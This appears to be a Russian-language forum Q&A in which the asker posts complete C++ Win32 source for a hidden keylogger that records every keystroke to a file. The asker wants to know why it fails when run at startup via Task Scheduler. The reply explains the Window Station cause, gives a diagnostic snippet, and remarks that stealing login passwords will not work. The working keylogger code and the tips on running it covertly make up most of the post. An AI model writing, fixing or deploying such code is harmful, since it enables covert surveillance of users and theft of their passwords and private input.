Я сделал эту программу c++ в Win32 без консоли (приложение Win32). Предполагается, что программа получит весь ввод с клавиатуры и поместит ее в файл: "file.txt". Когда я запускаю программу через visual studio 2012, и когда я запускаю.exe файл программы, он работает просто отлично. Но проблема в том, что я пытаюсь запустить его (файл.exe) через taskschd.msc - Планировщик окон: не работает. Я выполнил инструкции о том, как планировать программу в taskschd.msc, как описано здесь: http://www.sevenforums.com/tutorials/67503-task-create-run-program-startup-log.html
Я сделал это с пользователем администратора.
Проблема в том, что когда taskchd.msc запускает эту программу, я вижу в taskmanger, что программа была запущена, но по какой-то причине она не помещает никаких символов в файл. Я хочу, что даже когда программа запускается с taskschd.msc, будет работать так же, как при активации вручную. Я даже попытался запустить в планировщике задач программу.bat, которая запускает.exe, но это не помогает, хотя она отлично работает при активации вручную.
Я, ни кто-либо, не знаю, не имеет ИДЕИ, как это исправить. это код:
//Define the minimum operating system for the application:
#define _WIN32_WINNT _WIN32_WINNT_WINXP //Windows XP
//Get rid of the annoying min() and max() macros:
#define NOMINMAX
//Include the windows header:
#include <iostream>
#include <fstream>
#include <conio.h>
using namespace std;
#include <Windows.h>
#include <Winuser.h>
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
//if (OUTPUT_FILE == NULL )
//return -1;
if (key_stroke == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if(key_stroke == VK_DELETE)
fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if(key_stroke == VK_INSERT)
fprintf(OUTPUT_FILE, "%s", "[INS]");
else if(key_stroke == VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_BROWSER_BACK)
fprintf(OUTPUT_FILE, "%s", "[BROWSER_BACK]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
int wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow)
{
while (1)
{
for(char i = 8; i <= 300; i++)
{
if (GetAsyncKeyState(i) == -32767)
if(Save (i,"File.txt")==-1)
return 0;
}
}
return 0;
}
Я не эксперт по этому вопросу, но в любом случае, я думаю, вы создали запланированную задачу с выбранным вариантом "Запустить, был ли пользователь включен или нет". Это позволяет планировщику задач запускать задачи в отдельной Window Station, чтобы предотвратить беспорядок на рабочем столе и (в вашем случае) устройствах ввода, таких как клавиатура и мышь.
Вы можете добавить следующий код в свою программу, чтобы проверить, в какой оконной станции работает ваша программа:
HWINSTA station = GetProcessWindowStation();
char buffer[1024];
BOOL result = GetUserObjectInformation(station, UOI_NAME, buffer, 1024, NULL);
если содержимое переменной buffer
не WinSta0
вам не повезло.
И нет, вы не сможете украсть пароль, введенный при входе в систему.